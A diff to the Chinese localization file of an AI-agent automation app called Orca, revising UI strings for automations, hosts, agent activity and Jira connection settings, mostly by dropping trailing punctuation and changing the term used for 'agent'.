-          "e81a02d61b": "保存前输入有效的五字段 cron。",
-          "968e66d686": "输入一个五字段 cron。",
+          "e81a02d61b": "保存前输入有效的五字段 cron",
+          "968e66d686": "输入一个五字段 cron",
           "f6ca30da23": "有效的自定义 cron",
           "a226dbdd40": "分钟",
           "ec9c1e35df": "小时",
@@ -16840,10 +17193,10 @@
         "AutomationDetail": {
           "host": "主机",
           "a1d52c2189": "使用范围",
-          "449fc83bf7": "token",
-          "401f40ae79": "预计花费",
+          "449fc83bf7": "Token",
+          "401f40ae79": "预计，花费",
           "a7c312430d": "最后一次运行",
-          "2df8970cd5": "智能体",
+          "2df8970cd5": "代理",
           "e353ab9516": "预检查",
           "620b22145e": "优雅",
           "15ea446b93": "会话",
@@ -16851,17 +17204,17 @@
           "2f8baf5360": "创建自",
           "578ff46987": "下次运行",
           "18763ded26": "日程",
-          "dbef8dc110": "此 SSH 自动化仅在 Orca 可以到达 SSH 远程主机时运行。如果重新连接需要交互式凭据或主机不可用，则运行将记录为已跳过。",
+          "dbef8dc110": "此 SSH 自动化仅在 Orca 可以到达 SSH 远程主机时运行，如果重新连接需要交互式凭据或主机不可用，则运行将记录为已跳过",
           "1f6026358e": "删除自动化",
           "d79452fb30": "恢复自动化",
           "91a4155e95": "暂停自动化",
           "4b1ea02d2e": "编辑自动化",
           "2fb1605beb": "立即运行",
-          "221916d93c": "创建自动化来开始安排智能体工作。",
+          "221916d93c": "创建自动化来开始安排代理工作",
           "b09b2384fd": "已暂停",
           "eaa02014f8": "启用",
           "29baf8f4c2": "来源",
-          "lastRunFailed": "上次运行失败。",
+          "lastRunFailed": "上次运行失败",
           "noGrace": "无宽限期",
           "graceMinutes_other": "{{count}} 分钟",
           "graceHours_other": "{{count}} 小时",
@@ -16879,23 +17232,23 @@
         },
         "AutomationEditorDialog": {
           "fb1896a5e7": "取消",
-          "57b722cbba": "智能体",
+          "57b722cbba": "代理",
           "6ff66f9012": "新运行",
           "a2e688226d": "工作树",
-          "6f9610e667": "工作树在选定的工作区中运行。新运行每次都会从所选分支创建一个新的工作区。",
+          "6f9610e667": "工作树在选定的工作区中运行，新运行每次都会从所选分支创建一个新的工作区",
           "2c3fd9bfa1": "工作区模式帮助",
           "b28b140eaf": "工作区",
           "0d17f4ca8f": "选择项目",
           "02d351877e": "项目",
           "a4ac8fcc62": "/goal",
           "827b25a81e": "支持技能、文件路径和内置命令，例如",
-          "6d778190b7": "每周运行依赖项审计并总结有风险的更改。",
+          "6d778190b7": "每周运行依赖项审计并总结有风险的更改",
           "058c23cb3f": "提示词",
           "c4b19094c2": "日程",
           "e46c1aa9ad": "创建",
           "a9d9dccf77": "保存",
           "777548c2d6": "保存更改",
-          "e8c2a14f70": "保存后，将自动运行，直到暂停。"
+          "e8c2a14f70": "保存后，将自动运行，直到暂停，"
         },
         "AutomationEditorDialogHeader": {
           "31f9253920": "使用模板",
@@ -16912,7 +17265,7 @@
           "521f77cd58": "1小时",
           "e5ad263ae5": "30分钟",
           "529dc6c0b7": "无宽限期",
-          "3d70c185c8": "如果 Orca 或执行主机在计划时间不可用，Orca 会在该窗口内变得可用时运行一次错过的事件。较旧的错过运行将被跳过。",
+          "3d70c185c8": "如果 Orca 或执行主机在计划时间不可用，Orca 会在该窗口内变得可用时运行一次错过的事件，较旧的错过运行将被跳过",
           "3df53d554a": "错过运行宽限期帮助",
           "fc089e5fde": "宽限期"
         },
@@ -16927,15 +17280,15 @@
           "c2a762a180": "预检查"
         },
         "AutomationRunHistory": {
-          "402651bfb6": "还没有运行。",
+          "402651bfb6": "还没有运行",
           "9974a2b429": "状态",
-          "13988187b3": "token",
+          "13988187b3": "Token",
           "86a248187e": "花费",
           "149c0b49c7": "工作区",
           "8faaa00726": "执行",
           "53fc5f07ab": "运行历史",
           "a00e38d1a3": "不适用",
-          "historyUnavailable": "该主机无法获取运行历史记录。这并不意味着自动化失败或没有运行。"
+          "historyUnavailable": "无法从此主机获取运行历史，这并不表示自动化运行失败或从未运行"
         },
         "AutomationRunPageFrame": {
           "40a511bed4": "运行上下文",
@@ -16960,16 +17313,16 @@
         "AutomationSessionField": {
           "f3c76dce51": "重复利用",
           "c90888ee94": "新鲜的",
-          "b675112193": "重用将未来的运行发送到之前的实时自动化会话。如果该会话结束，Orca 将开始新的会话。",
+          "b675112193": "重用将未来的运行发送到之前的实时自动化会话,如果该会话结束，Orca 将开始新的会话",
           "4bdce31f37": "会话重用帮助",
           "5ad314118e": "会话"
         },
         "AutomationsPage": {
-          "c3a28c9793": "选择一个自动化来查看运行。",
+          "c3a28c9793": "选择一个自动化来查看运行",
           "295698292f": "重新运行",
           "0e110a3469": "执行",
           "bb1b2cd31e": "概述",
-          "25060635c6": "添加新的",
+          "25060635c6": "添加",
           "d207ab4c25": "从模板开始",
           "15e0bfb13b": "删除",
           "f4612e3f78": "编辑",
@@ -16981,35 +17334,35 @@
           "080dcb5fbb": "删除自动化",
           "19a6e30eae": "刷新自动化",
           "77c2778945": "自动化",
-          "e1bf9b1512": "工作区不可用。",
-          "126d726546": "外部自动化操作失败。",
-          "37288942f0": "外部自动化恢复。",
-          "77c518a34b": "外部自动化暂停。",
-          "4d7878402c": "外部自动化排队。",
-          "4c22bc9913": "外部自动化已删除。",
-          "3a4c476aa0": "无法重新运行自动化。",
-          "a1bdb57008": "自动化运行排队。",
+          "e1bf9b1512": "工作区不可用",
+          "126d726546": "外部自动化操作失败",
+          "37288942f0": "外部自动化恢复",
+          "77c518a34b": "外部自动化暂停",
+          "4d7878402c": "外部自动化排队",
+          "4c22bc9913": "外部自动化已删除",
+          "3a4c476aa0": "无法重新运行自动化",
+          "a1bdb57008": "自动化运行排队",
           "8a3226f172": "打开设置",
-          "d2a01b0b6f": "您可以在“设置”中更改此设置。",
-          "690b94da54": "下次我们将跳过此确认。",
-          "b11170a008": "无法保存自动化。",
-          "2a20596d6b": "自动化已保存。",
-          "244727e655": "自动化已更新。",
-          "moved": "自动化已移动到 {host}。",
-          "moveOriginalKept": "已在 {host} 上创建，但无法删除原有自动化。请在原主机上删除它。",
-          "moveOriginalUnverified": "已在 {host} 上创建，但无法确认是否删除了原有自动化。重试前请检查原主机。",
-          "32534e7c9c": "保存前选择一个可用的工作区。",
-          "2360ffc956": "保存前选择已启用的智能体。",
-          "6e91dab317": "保存前输入有效的高级计划。",
-          "64bdb2304f": "保存前选择支持的计划。",
-          "2430fecf53": "选择运行位置并在保存前输入提示。",
+          "d2a01b0b6f": "您可以在\"设置\"中更改此设置",
+          "690b94da54": "下次我们将跳过此确认",
+          "b11170a008": "无法保存自动化",
+          "2a20596d6b": "自动化已保存",
+          "244727e655": "自动化已更新",
+          "moved": "自动化已移动到 {host}",
+          "moveOriginalKept": "已在 {host} 上创建，但无法删除原有自动化，请在原主机上删除它",
+          "moveOriginalUnverified": "已在 {host} 上创建，但无法确认是否删除了原有自动化，重试前请检查原主机",
+          "32534e7c9c": "保存前选择一个可用的工作区",
+          "2360ffc956": "保存前选择已启用的代理",
+          "6e91dab317": "保存前输入有效的高级计划",
+          "64bdb2304f": "保存前选择支持的计划",
+          "2430fecf53": "选择运行位置并在保存前输入提示",
           "376631ef2b": "恢复",
           "b457436d6a": "暂停",
           "8500baacb4": "外部来源",
           "36f71740a7": "选定的工作区",
           "cd8397cc32": "每次运行新工作区",
-          "pendingAutomationMissing": "自动化已不可用。",
-          "pendingAutomationRunMissing": "运行历史已不可用。",
+          "pendingAutomationMissing": "自动化已不可用",
+          "pendingAutomationRunMissing": "运行历史已不可用",
           "paused": "已暂停",
           "missingWorkspace": "缺少工作区",
           "usageUnavailable": "用量不可用",
@@ -17027,23 +17380,23 @@
           "newAutomation": "新建自动化",
           "rowActions": "自动化操作",
           "tableLastRun": "最后一次运行",
-          "ownerChanged": "这种自动化改变了主机。刷新并重试。",
+          "ownerChanged": "此自动化已切换主机，请刷新后重试",
           "runError": "错误：",
-          "deleteAutomationDescription": "删除 <name/> 及其运行历史。不会删除之前运行创建的工作区。",
-          "deleteExternalAutomationDescription": "从 <host/> 上的 <provider/> 中删除 <name/>。",
+          "deleteAutomationDescription": "删除 <name/> 及其运行历史。不会删除之前运行创建的工作区",
+          "deleteExternalAutomationDescription": "从 <host/> 上的 <provider/> 中删除 <name/>",
           "runUsageSummaryTokens_other": "预估 {{cost}} · {{tokens}} token"
         },
         "CreateFromPicker": {
           "f061f49e3f": "搜索仓库分支...",
           "dd3841b442": "分支来自",
           "ef6d762538": "项目默认",
-          "e53d306056": "{{value0}}（默认）",
-          "79512f22a7": "没有找到分支。",
+          "e53d306056": "{{value0}}(默认)",
+          "79512f22a7": "没有找到分支",
           "9ce96621f4": "搜索分支..."
         },
         "ExternalAutomationManagers": {
-          "e02f970595": "未找到外部自动化管理器。",
-          "6da3bfba4b": "发现自动化。",
+          "e02f970595": "未找到外部自动化经理",
+          "6da3bfba4b": "发现自动化",
           "3d58d5b67d": "不",
           "a42bf2b27e": "删除外部自动化",
           "1c3bfd38fe": "恢复外部自动化",
@@ -17061,39 +17414,39 @@
           "automationCount_other": "{{count}} 个自动化"
         },
         "WorkspaceCombobox": {
-          "ee5b280eba": "未找到工作区。",
+          "ee5b280eba": "未找到工作区",
           "8e9c8cc6b5": "搜索工作区...",
           "66a0cd9628": "选择工作区"
         },
         "automation": {
           "templates": {
-            "37571fcb16": "查找卡住的工作、陈旧的生成文件以及失败的本地验证。",
+            "37571fcb16": "查找卡住的工作、陈旧的生成文件以及失败的本地验证",
             "8a0228bea3": "每小时排队检查",
-            "3b7281c75f": "扫描最近的工作并指出正确性、用户体验和测试覆盖率风险。",
+            "3b7281c75f": "扫描最近的工作并指出正确性、用户体验和测试覆盖率风险",
             "6023075b27": "每日变更回顾",
-            "513401db93": "根据当前项目状态准备每周发布风险摘要。",
+            "513401db93": "根据当前项目状态准备每周发布风险摘要",
             "39ed39280a": "发布准备情况",
-            "a7fbd32ddb": "每个工作日检查依赖关系、失败的测试和有风险的开放变更。",
+            "a7fbd32ddb": "每个工作日检查依赖关系、失败的测试和有风险的开放变更",
             "b84757677d": "工作日仓库审计",
             "repoHealth": {
-              "category": "Repo 健康",
+              "category": "仓库健康",
               "name": "工作日仓库审计",
-              "prompt": "检查仓库的运行状况。检查依赖项更新、失败的测试、lint/类型检查状态以及有风险的开放更改。总结调查结果并建议下一步行动。"
+              "prompt": "检查存储库的运行状况，检查依赖项更新、失败的测试、lint/类型检查状态以及有风险的开放更改，总结调查结果并建议下一步行动"
             },
             "releasePrep": {
               "category": "发布准备",
               "name": "发布就绪评审",
-              "prompt": "准备发布准备摘要。寻找阻碍因素、未合并的风险变更、缺少验证和文档空白。以简洁的发布/不发布建议结束。"
+              "prompt": "准备发布准备摘要，寻找阻碍因素、未合并的风险变更、缺少验证和文档空白，以简洁的发布/不发布建议结束"
             },
             "recurringReview": {
               "category": "定期评审",
               "name": "每日变更回顾",
-              "prompt": "查看此工作区中的最新更改。重点关注正确性风险、用户体验回归、缺失测试和后续任务。保持报告简短且具有可操作性。"
+              "prompt": "查看此工作区中的最新更改，重点关注正确性风险、用户体验回归、缺失测试和后续任务，保持报告简短且具有可操作性"
             },
             "maintenance": {
               "category": "维护",
               "name": "每小时维护检查",
-              "prompt": "检查是否有卡住的工作、过时的生成文件、失败的验证以及任何需要人工注意的内容。仅报告需处理的问题。"
+              "prompt": "检查是否有卡住的工作、过时的生成文件、失败的验证以及任何需要人工注意的内容，仅报告需处理的问题"
             }
           },
           "schedule": {
@@ -17127,7 +17480,7 @@
         },
         "AutomationProjectCombobox": {
           "search": "搜索项目/文件夹...",
-          "empty": "没有匹配搜索的项目/文件夹。",
+          "empty": "没有匹配搜索的项目/文件夹",
           "chooseHost": "选择自动化主机",
           "adding": "正在添加项目…",
           "addProject": "添加项目"
@@ -17135,7 +17488,7 @@
         "AutomationSetupDecisionField": {
           "5a7863909c": "为每个新工作区运行设置",
           "18f000ad4e": "高级",
-          "874b72195b": "当此自动化创建工作区时，使用与手动创建工作树相同的方式准备——运行项目的设置并打开其终端标签页。"
+          "874b72195b": "当此自动化创建工作区时，使用与手动创建工作树相同的方式准备——运行项目的设置并打开其终端标签页"
         },
         "AutomationsPageSkeleton": {
           "55527b7bcf": "正在加载自动化"
@@ -17152,7 +17505,7 @@
         },
         "AutomationListFilterMenu": {
           "926e785e4d": "搜索智能体...",
-          "491043ee45": "没有智能体符合您的搜索。",
+          "491043ee45": "没有智能体符合您的搜索",
           "agent": "智能体",
           "lastRun": "上次运行",
           "all": "全部",
@@ -17166,93 +17519,93 @@
         "createDestination": {
           "label": "主机",
           "placeholder": "选择主机",
-          "storedOn": "由 {authority} 存储和调度。",
-          "unselected": "选择存储和调度此自动化的主机。",
-          "orphan": "没有主机的自动化无法容纳新的自动化。请选择要在其上创建此自动化的主机。",
-          "unavailable": "该主机尚无法容纳新的自动化。请选择另一台主机来创建它。",
-          "projectUnavailable": "保存前请在此主机上选择一个可用的项目。",
-          "stale": "此表单打开期间 {host} 已更改。保存前请重新选择。",
-          "projectStale": "此表单打开期间 {host} 已更改。保存前请重新选择项目。",
-          "projectMismatch": "该项目不在 {host} 上。请选择该主机上的项目，或选择另一台主机。",
-          "noProjects": "{host} 上未设置任何项目。请在该主机上添加一个，或选择另一台主机。",
-          "updateRequired": "更新 {hosts} 上的 Orca 服务器即可在其中存储自动化。",
-          "move": "保存后会在 {host} 上创建此自动化，并删除原有自动化及其运行历史。"
+          "storedOn": "由 {authority} 存储和调度",
+          "unselected": "选择存储和调度此自动化的主机",
+          "orphan": "没有主机的自动化无法容纳新的自动化，请选择要在其上创建此自动化的主机",
+          "unavailable": "该主机尚无法容纳新的自动化，请选择另一台主机来创建它",
+          "projectUnavailable": "保存前请在此主机上选择一个可用的项目",
+          "stale": "此表单打开期间 {host} 已更改，保存前请重新选择",
+          "projectStale": "此表单打开期间 {host} 已更改。保存前请重新选择项目",
+          "projectMismatch": "该项目不在 {host} 上，请选择该主机上的项目，或选择另一台主机",
+          "noProjects": "{host} 上未设置任何项目，请在该主机上添加一个，或选择另一台主机",
+          "updateRequired": "更新 {hosts} 上的 Orca 服务器即可在其中存储自动化",
+          "move": "保存后会在 {host} 上创建此自动化，并删除原有自动化及其运行历史"
         },
         "AutomationEditorPromptSection": {
-          "a7c3e91b04": "编辑姓名"
+          "a7c3e91b04": "编辑名称"
         },
         "AutomationListSortHeader": {
           "sortedAscending": "{{value0}}，升序排序",
           "sortedDescending": "{{value0}}，降序排序"
         },
         "emptyState": {
-          "unknownHost": "该主机",
-          "hostLoading": "正在加载主机...",
-          "hostLoadingDetail": "等待 {{hostLabel}} 报告其自动化。",
+          "unknownHost": "此主机",
+          "hostLoading": "正在加载主机…",
+          "hostLoadingDetail": "正在等待 {{hostLabel}} 报告其自动化",
           "hostError": "无法从 {{hostLabel}} 加载自动化",
-          "hostUnavailableDetail": "无法访问主机，因此其自动化情况未知。",
-          "hostIncompatibleDetail": "该服务器太旧，无法按主机确定自动化范围。",
-          "hostStaleDetail": "最近的刷新未完成。",
+          "hostUnavailableDetail": "无法连接此主机，因此无法确定其中有哪些自动化",
+          "hostIncompatibleDetail": "此服务器版本过旧，不支持按主机查询自动化",
+          "hostStaleDetail": "最近一次刷新未完成",
           "hostNotConnected": "{{hostLabel}} 未连接",
-          "hostNotConnectedDetail": "连接到该主机以查看为其存储的自动化。",
+          "hostNotConnectedDetail": "连接此主机后即可查看其中存储的自动化",
           "hostEmpty": "{{hostLabel}} 上没有自动化",
-          "searchNoMatch": "没有与您的搜索匹配的自动化操作",
-          "filtersNoMatch": "没有自动化与您的过滤器匹配",
-          "allHostsEmpty": "加载主机之间没有自动化"
+          "searchNoMatch": "没有与搜索内容匹配的自动化",
+          "filtersNoMatch": "没有符合筛选条件的自动化",
+          "allHostsEmpty": "已加载的主机中没有自动化"
         },
         "hostNotice": {
-          "loading": "正在加载主机...",
-          "unavailable": "无法访问 {{hostLabel}}。显示最后从中加载的自动化。",
-          "ghost": "{{hostLabel}} 已被删除。仍分配给它的自动化仍保留在列表中。",
-          "removed": "所选主机不再可用。显示所有主机。"
+          "loading": "正在加载主机…",
+          "unavailable": "无法连接 {{hostLabel}}，正在显示上次从该主机加载的自动化",
+          "ghost": "{{hostLabel}} 已被移除，仍分配给它的自动化会继续显示",
+          "removed": "所选主机已不可用，正在显示所有主机"
         },
         "hostPicker": {
           "allHosts": "所有主机",
-          "loadingHost": "正在加载主机..."
+          "loadingHost": "正在加载主机…"
         },
         "ownerConflict": {
           "dismiss": "关闭"
         },
         "capturedOwner": {
-          "orphan": "这种自动化没有可运行的主机。删除它，或者重新添加它所属的主机。",
-          "unfenced": "此主机上的 Orca 需要更新，然后您才能查看运行历史记录或管理此自动化。计划的运行可能仍会在主机上继续。",
+          "orphan": "此自动化没有可运行它的主机，请将其删除，或重新添加它所属的主机",
+          "unfenced": "需要更新此主机上的 Orca，才能查看运行历史或管理此自动化，计划运行可能仍会在该主机上继续",
           "hostReselection": "请编辑此自动化，并在运行前重新选择其主机。"
         },
         "hostStatus": {
           "authority": {
             "loading": "加载中",
-            "loadingDescription": "从此主机加载自动化。",
-            "fresh": "最新",
-            "freshDescription": "从该主机加载的自动化。",
+            "loadingDescription": "正在从此主机加载自动化",
+            "fresh": "已是最新",
+            "freshDescription": "已从此主机加载自动化",
             "refreshing": "刷新中",
-            "refreshingDescription": "检查此主机是否有更改。",
+            "refreshingDescription": "正在检查此主机上的变更",
             "staleError": "未刷新",
-            "staleErrorDescription": "显示上次从该主机加载的自动化。最近的刷新未完成。",
-            "unavailable": "无法到达",
-            "unavailableDescription": "无法访问该主机，因此无法加载其自动化程序。",
+            "staleErrorDescription": "正在显示上次从此主机加载的自动化，最近一次刷新未完成",
+            "unavailable": "无法连接",
+            "unavailableDescription": "无法连接此主机，因此无法加载其中的自动化",
             "incompatible": "更新服务器",
-            "incompatibleDescription": "此服务器不支持主机范围的自动化查询。更新它以加载该主机的自动化。"
+            "incompatibleDescription": "此服务器不支持按主机查询自动化，请更新服务器以加载此主机的自动化"
           },
           "execution": {
             "connected": "已连接",
-            "connectedDescription": "该主机已连接并且可以运行自动化。",
+            "connectedDescription": "此主机已连接，可以运行自动化",
             "connecting": "正在连接",
-            "connectingDescription": "连接到该主机。",
+            "connectingDescription": "正在连接此主机",
             "disconnected": "未连接",
-            "disconnectedDescription": "在连接恢复之前，该主机上的自动化无法运行。",
+            "disconnectedDescription": "恢复连接后，此主机上的自动化才能运行",
             "unavailable": "不可用",
-            "unavailableDescription": "该执行目标不再可用。",
-            "unknown": "连接未知",
-            "unknownDescription": "该主机的连接状态尚未加载。"
+            "unavailableDescription": "此执行目标已不可用",
+            "unknown": "连接状态未知",
+            "unknownDescription": "尚未加载此主机的连接状态"
           },
           "query": {
-            "legacyUnscopedDescription": "该服务器列出了没有主机范围的自动化，因此无法从此处编辑或运行它们。",
+            "legacyUnscopedDescription": "此服务器列出的自动化未按主机区分，因此无法在此处编辑或运行",
             "incompatible": "更新服务器",
-            "incompatibleDescription": "该服务器太旧，无法按主机确定自动化范围。在这里更新它以管理自动化。",
-            "viewOnly": "仅供查看",
-            "targetRemovedDescription": "该主机已被删除，因此无法再从此处编辑或运行其自动化。",
-            "targetUnverifiedDescription": "该主机自连接断开以来尚未经过验证，因此无法从此处编辑或运行其自动化操作。",
-            "targetUnregisteredDescription": "该主机没有注册记录，因此无法从此处编辑或运行其自动化。"
+            "incompatibleDescription": "此服务器版本过旧，不支持按主机查询自动化，请更新服务器以在此管理自动化",
+            "viewOnly": "仅查看",
+            "targetRemovedDescription": "此主机已被移除，因此无法再在此处编辑或运行其中的自动化",
+            "targetUnverifiedDescription": "此主机连接中断后尚未重新验证，因此无法在此处编辑或运行其中的自动化",
+            "targetUnregisteredDescription": "此主机没有注册记录，因此无法在此处编辑或运行其中的自动化"
           },
           "action": {
             "retry": "重试",
@@ -17261,11 +17614,11 @@
           }
         },
         "ownerAction": {
-          "failed": "该自动化操作未完成。"
+          "failed": "未能完成该自动化操作"
         },
         "externalScope": {
-          "uncheckedHost": "无法检查 {{hostLabel}} 上的外部自动化管理器。",
-          "uncheckedHostCount_other": "无法检查 {{count}} 台主机上的外部自动化管理器。"
+          "uncheckedHost": "无法检查 {{hostLabel}} 上的外部自动化管理器",
+          "uncheckedHostCount_other": "无法检查 {{count}} 台主机上的外部自动化管理器"
         },
         "enablement": {
           "paused": "已暂停"
@@ -17273,11 +17626,11 @@
         "extraAgentArgs": {
           "advanced": "高级",
           "clear": "清除参数",
-          "unsupported": "此智能体暂不支持额外参数。",
-          "label": "额外的智能体参数",
-          "needsFreshSession": "额外参数要求每次运行都使用新会话。",
+          "unsupported": "此代理暂不支持额外参数",
+          "label": "额外的代理参数",
+          "needsFreshSession": "额外参数要求每次运行都使用新会话",
           "useFreshSessions": "使用新会话",
-          "helper": "每次新会话时附加到此主机的默认参数之后。",
+          "helper": "每次新会话时附加到此主机的默认参数之后",
           "detailLabel": "额外参数"
         },
         "runHistory": {
@@ -17286,10 +17639,10 @@
           "occurrencesCount_other": "{{count}} 次"
         },
         "capabilityProbe": {
-          "createIdempotencyUpdateRequired": "将自动化移至此主机需要更新版本的 Orca 服务器。请更新 HUB 后重试。"
+          "createIdempotencyUpdateRequired": "将自动化移至此主机需要更新版本的 Orca 服务器。请更新 HUB 后重试"
         },
         "editDraft": {
-          "unsupportedSchedule": "此自动化保存的计划不受支持。请在保存更改前选择受支持的计划。"
+          "unsupportedSchedule": "此自动化保存的计划不受支持。请在保存更改前选择受支持的计划"
         },
         "hostCatalog": {
           "orphanEntryLabel": "未分配的旧版自动化"
@@ -17308,17 +17661,17 @@
           "runStatusDispatchFailed": "失败"
         },
         "runContent": {
-          "noOutput": "没有可用的输出内容。"
+          "noOutput": "没有可用的输出内容"
         },
         "runViewState": {
           "viewRun": "查看运行",
           "runOpen": "运行已打开",
-          "terminalOnPairedServer": "运行终端位于已配对的服务器上。",
-          "terminalUnavailable": "运行终端不可用。",
+          "terminalOnPairedServer": "运行终端位于已配对的服务器上",
+          "terminalUnavailable": "运行终端不可用",
           "openWorkspace": "打开工作区",
-          "workspaceAvailable": "工作区可用。",
+          "workspaceAvailable": "工作区可用",
           "snapshotSaved": "快照已保存",
-          "showingSnapshot": "正在显示已保存的运行快照。",
+          "showingSnapshot": "正在显示已保存的运行快照",
           "namedWorkspaceGone": "{{name}} 已不可用",
           "workspaceGone": "工作区已不可用",
           "noWorkspaceLaunched": "未启动工作区"
@@ -17336,11 +17689,11 @@
           "local": "本地"
         },
         "externalActionDisabled": {
-          "actionInProgress": "另一个自动化操作仍在运行。",
-          "sshConnecting": "请等待此 SSH 主机完成连接。",
-          "connectSshHost": "请先连接此 SSH 主机，再管理 {{provider}} 自动化。",
-          "cannotManageOnSshHost": "{{provider}} 无法管理此 SSH 主机上的自动化。",
-          "cannotManageLocally": "{{provider}} 无法管理此计算机上的自动化。"
+          "actionInProgress": "另一个自动化操作仍在运行",
+          "sshConnecting": "请等待此 SSH 主机完成连接",
+          "connectSshHost": "请先连接此 SSH 主机，再管理 {{provider}} 自动化",
+          "cannotManageOnSshHost": "{{provider}} 无法管理此 SSH 主机上的自动化",
+          "cannotManageLocally": "{{provider}} 无法管理此计算机上的自动化"
         },
         "hostSummary": {
           "partialFailureOfHosts_other": "{{count}} 个主机中有 {{failed}} 个无法加载"
@@ -17354,37 +17707,37 @@
       },
       "agent": {
         "AgentCombobox": {
-          "19522e25ee": "管理智能体",
+          "19522e25ee": "管理代理",
           "986f946354": "空白终端",
-          "579c768bde": "没有智能体符合您的搜索。",
-          "48c6a5a9b4": "搜索智能体...",
+          "579c768bde": "没有代理符合您的搜索",
+          "48c6a5a9b4": "搜索代理...",
           "9c6b59fe58": "设置为默认值",
           "1b0d6965fa": "当前默认值"
         },
         "AgentSettingsDialog": {
-          "50cdb57c03": "管理 AI 智能体、设置默认值并自定义命令。",
-          "fc0268e4ed": "智能体"
+          "50cdb57c03": "管理 AI 代理、设置默认值并自定义命令",
+          "fc0268e4ed": "代理"
         }
       },
       "activity": {
         "ActivityPrototypePage": {
-          "cf780197a1": "选择一个智能体以查看其活动",
-          "e3db9892f6": "还没有活动。",
+          "cf780197a1": "选择一个代理以查看其活动",
+          "e3db9892f6": "还没有活动",
           "1b633f5c1e": "连接终端...",
           "8de7c5beaa": "终端不可用",
           "866083500b": "拖动以调整大小",
           "443690186e": "调整活动线程列表的大小",
-          "7cd632006b": "没有智能体活动与这些筛选条件匹配。",
+          "7cd632006b": "没有代理活动与这些筛选条件匹配",
           "a2b4437bfb": "{{value0}} 活动",
           "023ff75afe": "标记全部已读",
           "f70e4bec47": "紧凑模式",
           "db8a1878b5": "线程列表选项",
           "d1a88df9a8": "仅显示未读主题",
-          "f6396e1f85": "智能体",
+          "f6396e1f85": "代理",
           "b29191b3e0": "工作树",
           "8c3b621ddf": "项目",
           "4a3986b200": "状态",
-          "770d458144": "分组方式",
+          "770d458144": "对代理活动进行分组",
           "groupAgentActivityBy": "智能体活动分组方式",
           "795cbf26e2": "筛选...",
           "4616ea39fd": "跳转到工作区",
@@ -17392,13 +17745,13 @@
           "markThreadRead": "将话题标记为已读",
           "59b131fbd9": "将话题标记为未读",
           "5651b216c6": "未知项目",
-          "22b22034bc": "独立终端在活动中不可用。",
-          "afdc2139a8": "智能体终端关闭。在此工作区中打开一个新终端以继续。",
+          "22b22034bc": "独立终端在活动中不可用",
+          "afdc2139a8": "代理终端关闭，在此工作区中打开一个新终端以继续",
           "clearCompleted": "清除已完成",
           "none": "无",
           "search": "搜索",
           "showUnreadOnly": "仅显示未读",
-          "showChildAgents": "显示子智能体",
+          "showChildAgents": "显示子代理",
           "activityOptions": "活动选项",
           "interrupted": "已中断",
           "state": {
@@ -17422,19 +17775,19 @@
           "resetScope": "显示所有主机和项目",
           "hideAutomationCreated": "隐藏自动化创建的工作区",
           "hideCliCreated": "隐藏 CLI 创建的工作区",
-          "hideOtherClientsAria": "隐藏共享远程服务器上由其他 Orca 客户端创建的工作区中的智能体",
-          "hideOtherClients": "隐藏其他客户端的智能体"
+          "hideOtherClientsAria": "隐藏共享远程服务器上由其他 Orca 客户端创建的工作区中的代理",
+          "hideOtherClients": "隐藏其他客户端的代理"
         },
         "ActivityThreadRow": {
           "clearNotification": "清除通知"
         },
         "ActivityTitlebarControls": {
-          "d6a8de3934": "智能体",
-          "dc708f3eff": "紧密智能体",
+          "d6a8de3934": "代理",
+          "dc708f3eff": "紧密代理",
           "unreadCount_other": "{{count}} 条未读"
         },
         "clearCompleted": {
-          "undo": "撤消",
+          "undo": "撤销",
           "cleared_other": "已清除 {{count}} 个已完成的智能体"
         },
         "standaloneWorktree": {
@@ -17456,27 +17809,30 @@
           "markUnread": "标记为未读",
           "goToWorkspace": "转到工作区",
           "clear": "从列表中清除",
-          "agentSection": "智能体",
-          "markManyRead_one": "将 {{count}} 个智能体标记为已读",
-          "markManyRead_other": "将 {{count}} 个智能体标记为已读",
-          "markManyUnread_one": "将 {{count}} 个智能体标记为未读",
-          "markManyUnread_other": "将 {{count}} 个智能体标记为未读",
-          "clearMany_one": "从列表中清除 {{count}} 个智能体",
-          "clearMany_other": "从列表中清除 {{count}} 个智能体"
+          "agentSection": "代理",
+          "markManyRead_one": "将 {{count}} 个代理标记为已读",
+          "markManyRead_other": "将 {{count}} 个代理标记为已读",
+          "markManyUnread_one": "将 {{count}} 个代理标记为未读",
+          "markManyUnread_other": "将 {{count}} 个代理标记为未读",
+          "clearMany_one": "从列表中清除 {{count}} 个代理",
+          "clearMany_other": "从列表中清除 {{count}} 个代理",
+          "clearMany": "从列表中清除 {{count}} 个代理",
+          "markManyRead": "将 {{count}} 个代理标记为已读",
+          "markManyUnread": "将 {{count}} 个代理标记为未读"
         }
       },
       "confirmation": {
         "dialog": {
           "8490e5d36a": "确认",
           "56f5c60e0c": "取消",
-          "92bac3217e": "不要再问"
+          "92bac3217e": "不再询问"
         },
         "skip": {
-          "saved": "下次我们将跳过此确认。",
-          "savedDescription": "您可以在“设置”中更改此设置。",
+          "saved": "下次将跳过此确认",
+          "savedDescription": "可在设置中更改",
           "openSettings": "打开设置",
           "preference": {
-            "0b0cb6e3f9": "无法保存确认首选项。"
+            "0b0cb6e3f9": "无法保存确认偏好"
           }
         }
       },
@@ -17492,41 +17848,41 @@
             "2849ddb295": "Atlassian 邮箱",
             "70fcd360c4": "https://example.atlassian.net",
             "e176f9d0c5": "Jira Cloud 站点 URL",
-            "d785c42b8b": "使用 Jira Cloud 站点 URL、Atlassian 邮箱和 API token 来浏览议题。",
+            "d785c42b8b": "使用 Jira Cloud 站点 URL、Atlassian 邮箱和 API Token 来浏览议题",
             "8388bdea2b": "连接 Jira 站点",
-            "2e2b69e48e": "使用自托管 Jira 的基础 URL 和个人访问令牌来浏览议题。",
+            "2e2b69e48e": "使用自托管 Jira 的基础 URL 和个人访问令牌来浏览议题",
             "b67e919bd5": "Jira 实例类型",
             "17787d6e4b": "Atlassian Cloud",
-            "bc7a831773": "Self-hosted",
+            "bc7a831773": "自托管",
             "3489e186d6": "Jira 站点 URL",
             "cbc27fa599": "https://jira.example.com",
             "730d973bae": "个人访问令牌",
             "8b9c7b9e7b": "Jira 个人访问令牌",
-            "ccfb086d3e": "在 Jira 个人资料中的 Personal Access Tokens 下创建一个个人访问令牌。",
-            "1d947a07ab": "使用自托管 Jira 的基础 URL、用户名和密码来浏览议题。",
+            "ccfb086d3e": "在 Jira 个人资料中的 Personal Access Tokens 下创建一个个人访问令牌",
+            "1d947a07ab": "使用自托管 Jira 的基础 URL、用户名和密码来浏览议题",
             "f49708c369": "Jira 身份验证方式",
-            "84a810dd0e": "Username & password",
-            "8d1223fa5c": "Username",
